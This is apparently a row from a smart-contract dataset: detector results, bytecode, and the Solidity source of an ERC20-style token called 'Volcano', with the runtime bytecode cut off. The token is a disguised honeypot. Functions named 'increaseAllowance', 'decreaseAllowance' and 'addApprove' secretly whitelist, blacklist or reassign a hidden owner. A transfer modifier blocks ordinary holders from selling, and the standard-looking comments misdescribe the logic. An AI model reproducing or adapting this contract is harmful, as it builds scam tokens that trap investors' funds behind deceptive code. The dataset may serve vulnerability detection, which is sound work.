999565b91505092915050565b600060208284031215612a4657612a45612643565b5b600082013567ffffffffffffffff811115612a6457612a63612648565b5b612a7084828501612a02565b91505092915050565b60008060408385031215612a9057612a8f612643565b5b6000612a9e85828601612696565b9250506020612aaf85828601612696565b9150509250929050565b60008060408385031215612ad057612acf612643565b5b6000612ade858286016126cc565b9250506020612aef858286016126cc565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b2f602083612589565b9150612b3a82612af9565b602082019050919050565b60006020820190508181036000830152612b5e81612b22565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612b9b601783612589565b9150612ba682612b65565b602082019050919050565b60006020820190508181036000830152612bca81612b8e565b9050919050565b600081519050612be08161267f565b92915050565b600060208284031215612bfc57612bfb612643565b5b6000612c0a84828501612bd1565b91505092915050565b6000604082019050612c2860008301856128be565b612c3560208301846128be565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ca5826126ab565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cd757612cd6612c6b565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000612d11612d0c612d0784612ce2565b612cec565b6126ab565b9050919050565b612d2181612cf6565b82525050565b600060c082019050612d3c60008301896128be565b612d496020830188612757565b612d566040830187612d18565b612d636060830186612d18565b612d7060808301856128be565b612d7d60a0830184612757565b979650505050505050565b600081519050612d97816126b5565b92915050565b600080600060608486031215612db657612db5612643565b5b6000612dc486828701612d88565b9350506020612dd586828701612d88565b9250506040612de686828701612d88565b9150509250925092565b6000604082019050612e0560008301856128be565b612e126020830184612757565b9392505050565b600081519050612e2881612865565b92915050565b600060208284031215612e4457612e43612643565b5b6000612e5284828501612e19565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612eb7602483612589565b9150612ec282612e5b565b604082019050919050565b60006020820190508181036000830152612ee681612eaa565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f49602283612589565b9150612f5482612eed565b604082019050919050565b60006020820190508181036000830152612f7881612f3c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612fdb602583612589565b9150612fe682612f7f565b604082019050919050565b6000602082019050818103600083015261300a81612fce565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061306d602383612589565b915061307882613011565b604082019050919050565b6000602082019050818103600083015261309c81613060565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006130dd826126ab565b91506130e8836126ab565b9250826130f8576130f76130a3565b5b828204905092915050565b600061310e826126ab565b9150613119836126ab565b92508282101561312c5761312b612c6b565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613193602a83612589565b915061319e82613137565b604082019050919050565b600060208201905081810360008301526131c281613186565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6131fe8161266d565b82525050565b600061321083836131f5565b60208301905092915050565b6000602082019050919050565b6000613234826131c9565b61323e81856131d4565b9350613249836131e5565b8060005b8381101561327a5781516132618882613204565b975061326c8361321c565b92505060018101905061324d565b5085935050505092915050565b600060a08201905061329c6000830188612757565b6132a96020830187612d18565b81810360408301526132bb8186613229565b90506132ca60608301856128be565b6132d76080830184612757565b9695505050505050565b60006132ec826126ab565b91506132f7836126ab565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561332c5761332b612c6b565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061336d601b83612589565b915061337882613337565b602082019050919050565b6000602082019050818103600083015261339c81613360565b9050919050565b60006133ae826126ab565b91506133b9836126ab565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133f2576133f1612c6b565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613459602183612589565b9150613464826133fd565b604082019050919050565b600060208201905081810360008301526134888161344c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204e5ab3a56794de3868a2c326be8c552e64635f75889b73966eca96ff5e655e0164736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,840
0x8fa269b6da92482c49849140a415beb279aaf2d2
pragma solidity ^0.6.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Volcano is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x41653c7d61609D856f29355E404F310Ec4142Cfb, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6120148686